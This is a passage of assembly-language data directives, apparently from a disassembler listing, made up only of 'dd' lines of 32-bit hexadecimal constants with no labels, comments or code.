		dd 3FFDF412h, 339DFEA8h, 7767DD0Bh, 0A9D80882h,	3F646F61h
		dd 0C57B27D2h, 72508E27h, 12C3169Ah, 66047116h,	7D9024AFh
		dd 71D5CBB3h, 5C9A1934h, 0C17325B2h, 22D626B0h,	0B49B26B9h
		dd 115065DBh, 625E73FDh, 9A170643h, 0D3A2FCE3h,	0B30D7730h
		dd 48547996h, 0F1ED71DBh, 0F414B8Ah, 0DD6C772Eh, 9AD6BCAh
		dd 542FB9E5h, 94B7475Eh, 0E1C2F541h, 0EC698940h, 700D8012h
		dd 0D8D775CEh, 57091FF9h, 34DA4CD6h, 0F9A2DEB5h, 0EAE874BEh
		dd 395AA12h, 0D8B593ACh, 5FE936F9h, 7AAAE664h, 24D8949h
		dd 0B6B08183h, 0D2769219h, 4DE0B1EBh, 66969D59h, 401254FAh
		dd 381694C7h, 0BDFA4235h, 9EB3E904h, 5B54E8F2h,	0E5F0FB58h
		dd 5532FA96h, 7D468342h, 3B5D0D36h, 92BB1547h, 0BE56B6D1h
		dd 0ED5ABCFDh, 3657109Bh, 33E1B41Ch, 8A19AA89h,	32E46009h
		dd 6B31EABh, 334DDA99h,	86E0BD47h, 41C7B28Eh, 0EFB0F1CEh
		dd 93492BE7h, 4C7B6D6Fh, 98CE8DB4h, 0BF1D3ED5h,	6AD6588Fh
		dd 754FF3A4h, 79EE0763h, 0C735803Dh, 0E6B7873Dh, 2B786F40h
		dd 19BD155Ah, 97FC6EBCh, 0E3B55796h, 3DF7BB98h,	0F7B26C07h
		dd 4A78FC0Eh, 4D2A5F4Bh, 75482495h, 15973D2Bh, 544E28BBh
		dd 366168BCh, 168E43Fh,	68934E88h, 0A3E71362h, 342152E0h
		dd 4379E9FCh, 54841E94h, 0DC9FA3DAh, 376A15F3h,	8CBECF41h
		dd 8BBA620Ah, 0DC380CE9h, 0BE1FDCE5h, 29F502A7h, 494217D0h
		dd 7F3B6A50h, 70EC3F41h, 32039927h, 65DD524Fh, 663F4414h
		dd 27CDAEDFh, 0EDB6EA0Eh, 0DE5EAD1Ch, 3EABB34Bh, 37036DF9h
		dd 5E570199h, 0D706CE4Fh
		dd 1B79F7C4h, 0C84EC854h, 675C219Dh, 2541ED2Eh,	0DC6BAFF2h
		dd 8289EA00h, 27926381h, 7EA8EDDEh, 0C48094Fh, 707DDD2Fh
		dd 756E55F7h, 945BD547h, 0ED4A875Dh, 6919D76Ah,	9060A312h
		dd 64AD3BE9h, 0A76332B1h, 0F2AC9196h, 48AD966h,	3BC95DC8h
		dd 0B1FE2596h, 0F8A41F03h, 0E7AD1E22h, 0A20D634Ch, 0ABBEEE63h
		dd 8E8B95E1h, 8DB1311Ch, 7171D3F1h, 1DFA543Eh, 92E9BF5Ch
		dd 0A1EF533Ch, 97285DAAh, 51755D8Bh, 0FBE9FA73h, 0EFDEB3D4h
		dd 32DC371Eh, 77C39D55h, 7C155627h, 5CE167DDh, 0C0AE67F5h
		dd 0DBE679A1h, 5CC94F90h, 6CF01256h, 3B729740h,	0D555BF70h
		dd 350C976Bh, 4B9871FEh, 68B381A6h, 0E63C40Bh, 0A6F4C895h
		dd 0B1A57D9h, 0CACC21B8h, 64CB3657h, 361DBF95h,	1F0EA1A7h
		dd 1932A86Dh, 0EACC3FC9h, 0B09C631h, 768EE332h,	0B14AF673h
		dd 23BD15F6h, 0BADADC20h, 3CE60179h, 50003492h,	0B0A0A6Eh
		dd 0A7C01B63h, 0CD177D21h, 0C3919EA1h, 28A9BEC1h, 856D1D79h
		dd 0B98FE0AFh, 0D4E48EB0h, 6DEBF509h, 53B50DBFh, 41C79773h
		dd 0B9943438h, 19F39328h, 520FAFC4h, 0B925F054h, 0DFD6BEC6h
		dd 40C1B1A5h, 40F2F389h, 31D2BE63h, 1EC2E343h, 1EAD4AEFh
		dd 94F5E9A9h, 0CA56B85Bh, 0C0CC39ECh, 96788D1Eh, 0E58DDB9Fh
		dd 195B693Eh, 3F35FA95h, 0CB02F76Ah, 8D8E4155h,	626C3E6Ah
		dd 4335C238h, 0A4911CF5h, 0B04F60h, 2137DC23h, 0A7374746h
		dd 0F887BCCEh, 56F417D5h, 4296FE5Ah, 79CB9A6Ah,	11DD30E0h
		dd 0F5626035h, 0B6C3EBC1h, 0F4A00739h, 818F8949h, 4F6EBECBh
		dd 0BDD50C6Eh, 0EBCF96Dh, 0EFD610Bh, 8271D973h,	90DED050h
		dd 8A201716h, 0F3E79C2Dh, 0D46927FBh, 2B41AA64h, 0F3F87696h
		dd 0D88E0820h, 97DA679Ah, 9BFB6F45h, 74DBF7B6h,	4E9010B0h
		dd 1CCBFC6Ch, 0A79C9C0Fh, 60334D0Ah, 6C721261h,	0F67CE94Bh
		dd 0C4769AE3h, 0C065A9B1h, 68219EA4h, 3586A776h, 50B4DFD1h
		dd 521C8A09h, 2AFA8A56h, 4230E0D8h, 0A4969648h,	81A76957h
		dd 0CF019B2Bh, 3AB3D355h, 567757B1h, 35007A76h,	4D3FF1D8h
		dd 25994D0Ah, 0B642EA52h, 0F2471EC9h, 0CEDD1462h, 251A457Bh
		dd 0BC36E002h, 3482A807h, 0B1A90973h, 9E0E25FCh, 0F1E3258Eh
		dd 0B31F9B15h, 8214515Ah, 0A984D1E1h, 4C715C5Dh, 75EBEFE7h
		dd 0C645BC33h, 9CE9332Bh, 0BE8AFE39h, 807C634h,	0D04FEC80h
		dd 51825513h, 0CBF5FD9Ah, 0AE611CE7h, 936D2032h, 625D858Fh
		dd 97491991h, 0A7087289h, 250E97F3h, 31DB1ABDh,	0FAA3454Dh
		dd 0E421A97Ch, 6C061C59h, 960FE82Fh, 5E965740h,	0E5D3BDC8h
		dd 5A889A68h, 5CCF9CBFh, 1B3FF12Dh, 2F11A38h, 0F9F8CCB5h
		dd 6861F4E6h, 7040CA73h, 0BB09A933h, 638D4B0Fh,	89691374h
		dd 3CB24BFEh, 0D5EE8B6Fh, 236DDC93h, 483A89A8h,	0D224E611h
		dd 4884BB14h, 0A60BF354h, 86B8433Eh, 0F7D7E048h, 0D065FDD7h
		dd 6B1A5647h, 691B022h,	3F4F0500h, 0EFEF4D10h, 2AA0657Bh
		dd 0A653E024h, 84067668h, 1E068387h, 98324C5Ah,	7BE5C126h
		dd 58B607C5h, 0FD9D977Ch, 72C7D337h, 0BDA411Bh,	3383BC03h
		dd 0ADA4EF22h, 0AB2BF92Dh, 6DC16DEFh, 0A0E577E7h, 0CD3816B1h
		dd 5D9E37EFh, 87FA4180h, 0E796E36Bh, 0FE728B2Eh, 94E20671h
		dd 42872B62h, 3D00C12Dh, 1FA48B61h, 0EC89398Bh,	286E8B4Fh
		dd 0A39F9D8Dh, 0C11D7C0Eh, 0A7D70E3Fh, 7C0E7E67h, 21E57B0Dh
		dd 7917F9DDh, 0E64793E9h, 0FF82DC05h, 0F90A63BAh, 305E4072h
		dd 903E54D4h, 31057BD7h, 84593ECFh, 24237ACDh, 45D6D4FDh
		dd 3D043A43h, 7A345D05h, 2DCE86D4h, 203C0DFBh, 95F88C5Bh
		dd 0D742086Eh, 488E025Dh, 9D26C31h, 45C8A322h, 6C6FFB6Bh
		dd 0AAB975A5h, 0CE5F8746h, 9A6935ADh, 0CA1712A5h, 1A6E180Fh
		dd 0F2293E54h, 0F96C456Dh, 0D67D4CACh, 0B8BAB75h, 3685E6CEh
		dd 0D7B4912Ch, 697AD421h, 0E20BE6B5h, 0AC716496h, 0F9B9E732h
		dd 22105975h, 70A73B9h,	0F09E9AD8h, 0E00D54BBh,	789C44EEh
		dd 0DFC25914h, 0E2157097h, 0DC15828Dh, 9BFD3C1Fh, 0D32DFC0Bh
		dd 457B5716h, 0FB2A55A6h, 3BAE379Ah, 171AF3B6h,	0AFC8AA1Ch
		dd 66421512h, 7E37B603h, 7E40D06Ah, 1048316Bh, 85D0EC60h
		dd 0D59B1F4Dh, 4A230BABh, 69E3B02Dh, 3C790143h,	0B93B2C83h
		dd 0AB2A7D80h, 624677B1h, 0EE9D1Dh, 0B91664F6h,	892F7952h
		dd 308C92A9h, 69DAC68Dh, 8ED7EC95h, 7FA1B4C9h, 0C7F7CC08h
		dd 0CFC3794Fh, 0DFB6D7BCh, 0D7C49BC3h, 0AE6A1804h, 843A78DEh
		dd 4410F8A1h, 0D69EAB8Ch, 5E1AC105h, 0E6DB06D8h, 355B60D6h
		dd 0A24D79Bh, 0EBF69A31h, 72C49665h, 0CB9BD999h, 5F1600Ah
		dd 7B3C70ADh, 99B1406Fh, 0A7D13E36h, 2AD59D46h,	6C1AA9D1h
		dd 0E9D3A1F5h, 0ED277C79h, 0CB1F5CD6h, 0CDF90AAFh, 4200BED4h
		dd 9BAE1727h, 0BA399E1Bh, 125B20E4h, 68997B29h,	1682C22Eh
		dd 3E6F6404h, 0AF75B244h, 1F881EBDh, 8AD8EB6Ah,	0A52C9BF3h
		dd 8690C8FDh, 1F940668h, 34E83684h, 4CE025F5h, 71BFE3EFh
		dd 0A4FAF966h, 46B23158h, 363C7F7Dh, 7384E278h,	84940780h
		dd 0F2B7A39Dh, 7F3DF179h, 10F9B313h, 0EDD787A8h, 8F4AA1EDh
		dd 7053643Dh, 141BA414h, 0EE718388h, 6186CA7Fh,	8963B177h
		dd 0D4F52BEFh, 977DB0CDh, 54F63225h, 5246025Ah,	0C989570h
		dd 2B6955Ch, 5A296FF0h,	202EC0D1h, 0FA2B1852h, 5C26C3DCh
		dd 0DCF4B08Bh, 0AE28A481h, 0B6E0DC94h, 0D58E6190h, 0FE62A5F6h
		dd 9C20C352h, 1C330D88h, 41563745h, 0DB0CB148h,	93661344h
		dd 0A913FF85h, 0AE31AD65h, 55AA603Ah, 54307F91h, 0CA4D6EB2h
		dd 7000DB94h, 2F5CFA27h, 0BF03B273h, 9CE0CEC6h,	49FB49CCh
		dd 0FE1E6995h, 211EF100h, 0C5AF4737h, 188A9AE2h, 717B820h
		dd 0CAEDAA5Bh, 34774AFh, 0D514A7DCh, 0B953C16Bh, 50CE76B3h
		dd 8ECD26E0h, 4450B116h, 6E7E7917h, 0FA2F7339h,	9CB5247Ch
		dd 0C963D02Ah, 10BFD077h, 0A7A8DF56h, 3E9EF07h,	8A5F7F9Ah
		dd 718085B9h, 877A8E45h, 0DED9845Fh, 3A4AA7AAh,	0D3C2426Bh
		dd 45EEE88Dh, 48EEB251h, 2F818211h, 0F1330AC6h,	19637AC1h
		dd 8DC2174h, 2948888Ch,	9E1F7Eh, 5CA006E4h, 0AFCE4DD2h
		dd 0E600CE0Bh, 2BBF1B6Bh, 0C8F701C0h, 6B03BE12h, 8DC328C8h
		dd 0E85CE1D1h, 54C9A02Dh, 0C062536Bh, 0A7B77B5Ch, 11A3D6E0h
		dd 8125711Ah, 0DA5F2494h, 3BC226F4h, 39EC89ADh,	2B18448Ch
		dd 0E3CCB8C8h, 2B238C3Ch, 0B5240CD5h, 59A68755h, 0CD68CB62h
		dd 393FCC05h, 0A757D008h, 40B24BBh, 0FBECAE33h,	0E68C41D9h
		dd 9413C497h, 9C170423h, 0FB5F360Bh, 394EB3A6h,	8429F96Fh
		dd 0C2E1BFB2h, 38EED342h, 0A27C47B2h, 3C467C38h, 9AAED6CEh
		dd 98530FE4h, 96B0B1BDh, 5A0B8634h, 0A3C49CB1h,	763AC98Eh
		dd 5769DC69h, 452A8FB8h, 0D6F69B7Bh, 84A1262h, 0EA9215DAh
		dd 0D773FD6Ch, 0FAC57B15h, 4657356Ch, 4441CD46h, 21D1C0B8h
		dd 19C220E2h, 789823B4h, 0A17150Eh, 0B11F59C3h,	775ED7E5h
		dd 0DD6B648Bh, 0CCF3C6E1h, 8AE91D5Ah, 114E0DD5h, 7933E76Ah
		dd 0DF180C01h, 1741DA0Ah, 677396ECh, 7279341Ch,	3D7DF54Ch
		dd 18FE4A34h, 5C83D6BAh, 0A711A547h, 4173BA68h,	1054D646h
		dd 0E3FEDAB3h, 0DF1B5977h, 569FB760h, 0B4FC58Dh, 534FB41Eh
		dd 0C476ABBAh, 841301E8h, 13C25A1Bh, 131C98Ch, 45196AD8h
		dd 6EA602A9h, 17E1834h,	47BB5890h, 3410A9BAh, 3CC80C0h
		dd 133EFFB3h, 0D8F1792Ah
		dd 383EFE29h, 0A53634E2h, 4EBEE534h, 3529F8BAh,	0BE506C6Bh
		dd 0D56D0F97h, 0E0E0C6E7h, 0CB1E4B4Ah, 48CF9040h, 5D0ABFE5h
		dd 0B5AFFCEDh, 9AB3EF06h, 0AEDA7196h, 83C96DBFh, 73DF94C4h
		dd 2D0051F0h, 4CD591D3h, 14BF7F9Dh, 0D45FD9E0h,	134313F4h
		dd 23C83951h, 2861FD29h, 86EBA96Dh, 636D800Eh, 868EDEDDh
		dd 0D2E812B6h, 0B616E393h, 92FF87Dh, 0E43F627Fh, 7F219B4Bh
		dd 0C3CA8933h, 7599D80Bh, 9DBD51B0h, 87ACCF9Ch,	20F45690h
		dd 3E254292h, 75923328h, 20405229h, 7B15245Fh, 97106A5Ah
		dd 2D4ACF87h, 5EFBB321h, 0FF78A795h, 96FD8057h,	0EB8BE406h
		dd 0C2D522B6h, 0ECEE43E6h, 57DCD321h, 0A4CB588Eh, 0E4AA8FF3h
		dd 9E26D6A0h, 216D8643h, 6CA6F721h, 34A93103h, 640D58D3h
		dd 7C43121Dh, 4A777D00h, 18A70283h, 0F8140F84h,	98424839h
		dd 0B5DF9759h, 7D54D28Ch, 81547644h, 8A806104h,	0D1E7CA24h
		dd 0EF18F2F6h, 0C2EA815h, 1935A7DDh, 0D5B71C31h, 0B12C171Fh
		dd 0C9AFCC4h, 0AA67647Ah, 7DF5A8DAh, 0F2A84DBCh, 6FB34661h
		dd 0BF542926h, 4D09167h, 543147A9h, 0C1A83FBh, 5D4585F1h
		dd 523D1E12h, 0E375CEFEh, 0D1460D03h, 38D4F68Dh, 0B103F78Dh
		dd 0B124210Eh, 6E911833h, 8F1C6BAh, 4B0E7E93h, 0D4FD54FFh
		dd 49EC455Ah, 10F99621h, 506CF9DFh, 2C0BF0BBh, 0F723B130h
		dd 0CFEA828Dh, 91BEDAC8h, 2BAFCC73h, 0F1C01D41h, 0F19B1901h
		dd 0B199B966h, 94EDC491h, 54E75EB2h, 0ACD6A49Eh, 9CA3C89Ah
		dd 975CF8Eh, 155C3873h,	0C69339E3h, 80759813h, 3DAEB490h
		dd 850065Bh, 86859B2Ah,	0B60620ACh, 590E6598h, 1F46BEB1h
		dd 0B8F9814Bh, 46DD1A3Ah, 62DAAD96h, 870E4AEFh,	0C2641D17h
		dd 8D8A2B83h, 0CBE60AC5h, 0D6A83011h, 492CEB98h, 72F4AC56h
		dd 0B35C6885h, 0BD24CAE5h, 3E02B44Bh, 0B9522504h, 0D19B615Eh
		dd 865A8968h, 0ACCEBF7Eh, 0A2C0813Dh, 0AB836349h, 37AD1AF0h
		dd 2090A151h, 74FF0027h, 89240BD6h, 5EC3FC49h, 0CCCD0650h
		dd 3B5E6681h, 16F8EEh, 114C4BBDh, 4C5BD1BBh, 63FCE68Dh
		dd 10A879DFh, 0DF99F614h, 17265121h, 0F7468E3Fh, 75535974h
		dd 0B5E0C488h, 0E471AFDh, 0EB4B06Ah, 0FA10815Eh, 42DC5FB4h
		dd 148A40A4h, 0D7D373A8h, 582AD782h, 48054AF2h,	3E5E75AAh
		dd 7A27407Bh, 7487A65Ah, 85367D98h, 0D882F89Eh,	0E39C9D3Ch
		dd 6C9D8F5Ah, 0A7815014h, 0F79A8461h, 359EA68Eh, 5A952100h
		dd 22531536h, 0C606E65Ch, 0BA4E03A9h, 185CF096h, 6B2C5882h
		dd 0DFA99A2Ch, 0B9F8EDAFh, 0F78D6C2Fh, 8F77342Eh, 329204EDh
		dd 827BF746h, 291F6CEEh, 36836FF4h, 324F46D4h, 60E565BBh
		dd 0AB9651D4h, 4133944Ch, 7B44E11Dh, 0EB340EDEh, 1D622656h
		dd 0DA3BE5E7h, 0BABA1E91h, 5BCC289Ah, 4216FB10h, 6585FFEh
		dd 0EC0DBED5h, 36BC93F8h, 72E0A20h, 8ED54283h, 1E0CE32Bh
		dd 43446B44h, 9A69BD17h, 291D6A33h, 0FF03BE0Dh,	0C6017360h
		dd 8B65D040h, 4F905835h, 89451E62h, 287D49EFh, 0EF89129Dh
		dd 0C374F66Bh, 90D60C6Bh, 5C5837EFh, 0D5BA66Fh,	35629B9Dh
		dd 17B8639Ah, 9EF2D2F4h, 5464A5B4h, 4ED35CB1h, 0DA89BD65h
		dd 1A9E2BFAh, 0A100A19Ah, 0A3A8E0BAh, 0A27929D1h, 98391BABh
		dd 7BC6A99h, 3BDA022Bh,	0D1BD9AEDh, 8C2321A7h, 0BC6F671Ch
		dd 7B55FEF4h, 43476BA8h, 0E38365A8h, 275ECDBBh,	0F05FBB3h
		dd 76D57340h, 142BA5E9h, 0B187C42Eh, 3072620Ch,	31C6C5E5h
		dd 74B7FEF8h, 0C5A79279h, 8FB44ED0h, 7F32F534h,	0B73357D3h
		dd 3F9530EAh, 30C70D3Dh, 52EE96C0h, 0E281B464h,	0A2CF5472h
		dd 0C5E67735h, 0B7EABA99h, 4CFADDA1h, 420D78Ah,	7FCA5F57h
		dd 7AB1917Ah, 950C0E47h, 88506717h, 0D7AEF36Ah,	17D1643Bh
		dd 9531525Eh, 594071Ch,	57957936h, 23AEE737h, 6DA22F6Eh
		dd 16F3B112h, 0B941BEFEh, 0E0323EA5h, 144DD63Eh, 9E77E585h
		dd 52350D2Eh, 341450ACh, 6DB8EF5Ah, 0D23FC539h,	811EE460h
		dd 2C0AE020h, 0B4E2E1FFh, 5534D25Dh, 786348FFh,	2ED674D6h
		dd 6ACF2EDFh, 0F1138C1Ch, 0A3C4C77h, 1BDD651Dh,	0F60CC375h
		dd 0A2DA7B3Fh, 0FB8CEE20h, 55A25B20h, 6638140Dh, 770BE8E5h
		dd 0B5326212h, 3739D63Ch, 0FC1DBFF1h, 675FAF3Eh, 0D630B06Fh
		dd 8C32B199h, 849A7B9Bh, 0F0D164C1h, 18FA08F5h,	5F3A40D8h
		dd 6F0AFB40h, 159F1AE1h, 606FB1D4h, 271930C8h, 245FEC01h
		dd 1A9E6CA1h, 3870E18Dh, 6493764Ch, 0B4C9B2FAh,	0F15A8459h
		dd 0CC03802Dh, 52CC2B2Eh, 0D45103B2h, 4674AAFDh, 0A7041A36h
		dd 362E297Dh, 5FA8EA12h, 0E5FE77F8h, 88CEC6CAh,	0C4EF90A6h
		dd 3051002Bh, 184A1184h, 0C6D67233h, 480304D8h,	16AA008Fh
		dd 0BB906B26h, 8521BC2Eh, 4FC197FBh, 0F8AC9006h, 62B833CBh
		dd 0FE4E36C7h, 2E9FB084h, 632E4CABh, 0DA8DB198h, 605C821Ch
		dd 120BBED3h, 0C26ACA75h, 44ED3306h, 30839E16h,	1E3B1D62h
		dd 0B6C477D2h, 95018055h, 0F9040524h, 21A4CDC9h, 311BE6B3h
		dd 0FC6CA8D3h, 0F621C2D0h, 54C18502h, 86318880h, 0AB266253h
		dd 0E107898Ah, 2F5F86B6h, 0C3E5453Fh, 0C5CC86BCh, 6DDC3719h
		dd 7293AB0Bh, 877C876Ch, 40291487h, 623481A5h, 6FD30A3Eh
		dd 0D4E172DAh, 7E316E42h, 45E35B82h, 0FE94E333h, 689F87F0h
		dd 0EE4D5D70h, 0F50D5B96h, 9B900A66h, 5B2DDA69h, 0D46EBB24h
		dd 3429EE48h, 0E06982A7h, 0C581EAC7h, 0CA33C97Ah, 0CA974425h
		dd 0B442CEF6h, 53406034h, 657C676Bh, 6128F958h,	0FA6E11CCh
		dd 0ED9D9852h, 0C37C7364h, 520EAF8h, 0B504A98Ch, 11196494h
		dd 0E362EEBFh, 61101588h, 9A2B96A1h, 54CFB271h,	48EA205h
		dd 0F2B43EE8h, 4881E2B1h, 0AC4DF8ACh, 8381778Eh, 8B029EE1h
		dd 0A198D9C1h, 0A4C5E898h, 0FA217896h, 0B5289AA0h, 2358E62Dh
		dd 0B5046476h, 8D4C290Fh, 890B47E0h, 0B7B59051h, 4147DEAFh
		dd 0A298192Ah, 0BF0DA253h, 7383E76Fh, 29F8223Ah, 0D2341648h
		dd 8168376Fh, 98971519h, 9EEAB33Bh, 3D40B5F2h, 6EDB7FD1h
		dd 0B8A29220h, 0A64DB785h, 0C40AB71Ch, 0C9AC6A8Ch, 0E7BE77BDh
		dd 689C7A15h, 0AE51D7E3h, 2BC15BE1h, 3A9CE775h,	80AC0B1Bh
		dd 3F744532h, 8BC88CEFh, 9757620Fh, 9F85A2D3h, 28FB54B4h
		dd 0D26BEEB3h, 6C5ECA70h, 0CE5DFBAh, 299A57E6h,	6255E157h
		dd 0A01CC22h, 0A043B689h, 0C3C6A75h, 0A33F35A3h, 0C2696BBh
		dd 7408AFEBh, 31E7CA0Ah, 1422A8F7h, 86521493h, 39E8470Eh
		dd 7F41CA5Bh, 42282256h, 0CD680A62h, 0D7EF3B6Dh, 45BCA422h
		dd 54AEFDDDh, 313BB59Bh, 410159D0h, 0E40F0571h,	5461537Dh
		dd 68148A87h, 0A8EC64E5h, 43F6F75Fh, 1235E1h, 64F5B80Ah
		dd 761D7922h, 32B96B6Ah, 0D846BB61h, 0F3A79DCBh, 0C71B0DCFh
		dd 0F2C11BB5h, 8B2EF587h, 51AB51D2h, 0D5826FDAh, 9EFF4783h
		dd 16D2F0Dh, 5B895FE5h,	632278CDh, 0D9075457h, 0F0728267h
		dd 0A52678D2h, 581C6F60h, 92E10FCFh, 46CE1693h,	0E8FEF546h
		dd 25D7FEh, 92B21A6Ch, 67C22592h, 0DD38E580h, 0AF283999h
		dd 23F5C762h, 0E423F940h, 0D4895A1h, 0C0EB86D5h, 0CA168805h
		dd 83227CAAh, 96682160h, 268CE26Ch, 973E62E6h, 3838DF93h
		dd 0BE31F151h, 5AEC0499h, 0A9F0B214h, 8BEC7AB6h, 2D0C00A6h
		dd 2869149Ch, 54FA8320h, 0C55F53E0h, 0DFF2C283h, 0A6BC6182h
		dd 0A7BF9A62h, 38F92468h, 0A56BD23Ch, 9AD01A35h, 140425C1h
		dd 64530130h, 945A1CAAh
		dd 6A9AD08Fh, 8FAC516Fh, 0F9F74BD3h, 0D36170EBh, 0C01AA738h
		dd 6F6DEB69h, 7E86241Ch, 0BEDDE19Dh, 0C7BD8C62h, 6FC0C0C9h
		dd 0E32C2857h, 84305C25h, 0C504A67Ah, 0CF3A8185h, 8A7783E6h
		dd 0A7E5A32Fh, 966AA424h, 63F049C3h, 9261A926h,	0E1DB3B21h
		dd 8289E1CCh, 0BA5B82F1h, 0EBB54129h, 16DC7766h, 0AE9485E0h
		dd 897EAB36h, 0E4F6D38Ch, 0EA9A24BBh, 0B7016F27h, 3804454Fh
		dd 0CF0CAA13h, 0C577DBA2h, 7A241357h, 61F345F3h, 89B9A9EDh
		dd 710EDA7h, 0EBB8AFF8h, 6F977774h, 0A49AC9A4h,	0BAE6258Eh
		dd 6267EFEAh, 0D2DE7483h, 5C426596h, 9721A3E7h,	255632F3h
		dd 2660F83Ah, 5E9D896Dh, 0A14911F5h, 248966C5h,	0C5443110h
		dd 54693BE1h, 32A844F5h, 47772735h, 0B4025250h,	1E5EFB3Bh
		dd 1D357AF4h, 71A3FEB9h, 0F7DE1299h, 85E1557Ch,	56760F6Eh
		dd 11434249h, 2915D443h, 0F0FF770Bh, 3327BDC1h,	0E012628Fh
		dd 0C78D5EDFh, 5141EA7Ch, 914168D3h, 61A0E98Bh,	0FAF89F4Bh
		dd 618C5B03h, 1D41128Fh, 990EAB9Ah, 2FB05313h, 50BAD4C8h
		dd 0C5E62C5Ah, 0AF242262h, 0D9A3B209h, 0C0B1F3E4h, 0A0818A52h
		dd 276F15F6h, 0B050F819h, 0C291DAD5h, 0E980CE35h, 9D97128Fh
		dd 0F01A3A62h, 4084F580h, 1FA21457h, 35E3CC3Ch,	15B38558h
		dd 76BC1A08h, 75AADF5Ch, 0F01F1321h, 28850392h,	53010090h
		dd 0E63DBF3Eh, 597A3282h, 0ED29682h, 0D19FCCAAh, 1770AC1Ah
		dd 17C8FD63h, 0A6241472h, 0D95F1122h, 39E7BE2Ah, 5000972Bh
		dd 0F9361941h, 39D2FE00h, 940F9459h, 0B33C453Fh, 0E5818364h
		dd 0F673EB40h, 0D322B146h, 0BF31DDF7h, 3EB8046Ch, 9B2585E8h
		dd 7EC2F55Bh, 8FC44D3Bh, 0E239A506h, 0B67FAC34h, 825D1258h
		dd 0FF8E8895h, 0B6A6D6Ch, 4BA8FF17h, 0D3F44198h, 0F99B2949h
		dd 553E511h, 86F7813Ah,	0EA1D9095h, 0E395CF3Fh,	27324B6Ch
		dd 532B68A4h, 7E577E1Ch, 8E097D26h, 5C4DA742h, 0ABC4AD45h
		dd 0FA643254h, 0FD25D716h, 49B77281h, 2B29137Ch, 0EF769B12h
		dd 0E2D854B2h, 5C6CD3EBh, 0BF7AB967h, 0D5BC9474h, 169E027Fh
		dd 34CD17E5h, 1A38063Ah, 7211D870h, 8F99A7CAh, 0DFD1E9FFh
		dd 0D7666914h, 0B4CADD2Fh, 8B07F46Ah, 11D4043Ch, 0E9AF3DE0h
		dd 3B5A5FCAh, 0ECE7C7A4h, 545193BBh, 0E6C0FDDCh, 0D726190Dh
		dd 6AE7F214h, 302923E3h, 31F91108h, 0F223D62Fh,	2E96AB89h
		dd 45CD147Fh, 0BBF56728h, 0D3EB6572h, 564910D7h, 31EE06Fh
		dd 5D4B5A9h, 0ADD599E3h, 60F11EB7h, 0F596ABC2h,	104ACEF5h
		dd 8505DD2Fh, 2A8B688h,	34B92C6Bh, 96BFB612h, 26D67FA2h
		dd 5F72AD68h, 0C1E5046Bh, 8BAD6826h, 69174567h,	64C22978h
		dd 9ED1AE52h, 4A297E42h, 0F1A6D81Eh, 0A0FBBFA2h, 68D7EB3Ah
		dd 0E33A22A7h, 4D7EC797h, 0D24DD048h, 8711CE1Ah, 77C6C706h
		dd 0AFACA002h, 0DE21AE9Eh, 157748F8h, 0EF557F83h, 5F112F4Fh
		dd 48CC0DBDh, 0BCFE0D1Ah, 18EAFDE6h, 0BE91A204h, 0C75CEB5h
		dd 9627AE78h, 0A5FA4AEDh, 90F24597h, 73952C4Ch,	0E3EB0BE5h
		dd 5F1A5FF7h, 3469D83Fh, 5C2DCAF8h, 0E352768Ah,	57B3D694h
		dd 19103316h, 171AD6CBh, 0CBA328D6h, 0E6357CC0h, 2638EC40h
		dd 24925F6Dh, 0B7111B74h, 2E7AC04Eh, 143FE4AAh,	5108AACBh
		dd 3F01F780h, 66E305D1h, 8AF3A4D1h, 2D9B807h, 536C90DFh
		dd 8BB66613h, 0C4002B34h, 0D6636B0Fh, 78E6F987h, 0DCE784Dh
		dd 0F38B9E69h, 22D51C7Dh, 3548C42Eh, 0DF69BA8h,	0E4357AAFh
		dd 51348D55h, 7121A403h, 6BFB4A58h, 87FEF717h, 0C8BBEF19h
		dd 28BF7D51h, 1F17869h,	7D8B4E10h, 0D31E24F0h, 0B34F434Fh
		dd 63AE3F96h, 3C648EC4h, 0D7A66EFAh, 797D4598h,	34AC8540h
		dd 0BCB6A2D9h, 3C9C551Eh, 0EC830DAEh, 7AC7651Fh, 0E39537D2h
		dd 0C48FC913h, 0AC79D7ADh, 0C24D7CFEh, 6CAEE3E0h, 0C8283B2Ch
		dd 73083AC5h, 0CF0AA2FCh, 1CF12C7Dh, 8967178Dh,	62602E1h
		dd 8DE2B8E5h, 0C56834BBh, 192B6CA6h, 64799DD4h,	25056DC2h
		dd 0A671A8D9h, 0EF914A6Fh, 4BAB2618h, 0BD90BE24h, 0E9BEFC21h
		dd 1B4A7496h, 6EC37C79h, 20FF1E08h, 0ABB9EA4h, 0D94BBCC0h
		dd 5D23D606h, 28002DF1h, 8C683FDBh, 2C68CCFCh, 92F771BEh
		dd 0E7A0646Fh, 4495B3FDh, 0FC5D1934h, 733B7DD6h, 0A636B6C5h
		dd 0C4F94B6Ah, 28FA827Dh, 95BBB2CFh, 0A5CDC099h, 1654FE9Bh
		dd 0BDCB5125h, 0F0E239C9h, 0E0F28492h, 4A118B45h, 3CD7662Fh
		dd 0A827E6EFh, 0A76285A3h, 1F799A34h, 60B81A6Ah, 2259862Eh
		dd 330E1CD0h, 20920B94h, 0ACF6E965h, 0E6ADFE21h, 3DFA09C8h
		dd 0F2D24A87h, 8FFE0B0Bh, 69EF3B92h, 126E835h, 0AC20FB7Bh
		dd 19AF286Eh, 2AC6A03Ah, 986DE07Ah, 4C65D146h, 0D818D4ABh
		dd 53476909h, 35C7106Eh, 0ACD961C4h, 92B4F548h,	7B2D657Bh
		dd 64D9EC93h, 15B9C103h, 95B2541h, 0E41FA369h, 0FACDED1Eh
		dd 2E846D36h, 54044391h, 615BDF7Eh, 23104B89h, 0BFEA3B8Ah
		dd 258D403Fh, 0CC2F3772h, 0FC53F945h, 0BA1BDA80h, 0EE8AF27Fh
		dd 0C99DAF38h, 812CB657h, 298F644Eh, 65C01D49h,	685E3A43h
		dd 0DF10727Ch, 0EE1AA86Dh, 0DB8F0C35h, 59CDAD7Eh, 9967523Ch
		dd 0E84E9713h, 0ADB56B49h, 0FFA0D257h, 3A1731DBh, 0DFA6B242h
		dd 0BD972A53h, 0BAFE1916h, 0F6D28BB5h, 76A53157h, 8E73C81Dh
		dd 20D9E01Dh, 0F9DBC8E2h, 0A697F24Eh, 0A516421Ah, 0FD28DD17h
		dd 0A8D4D7BBh, 26CADC13h, 6C8B2EB6h, 6FE891C2h,	80A79F71h
		dd 713B48B1h, 8F5F83BAh, 64EFA085h, 32A70C4Eh, 0FD8311EFh
		dd 5C2D3EA1h, 0EBB2652Eh, 1E996FEAh, 531898F7h,	0A6F4D549h
		dd 40C9A3E5h, 69823339h, 638728C4h, 0BFA806BEh,	3FD2AB20h
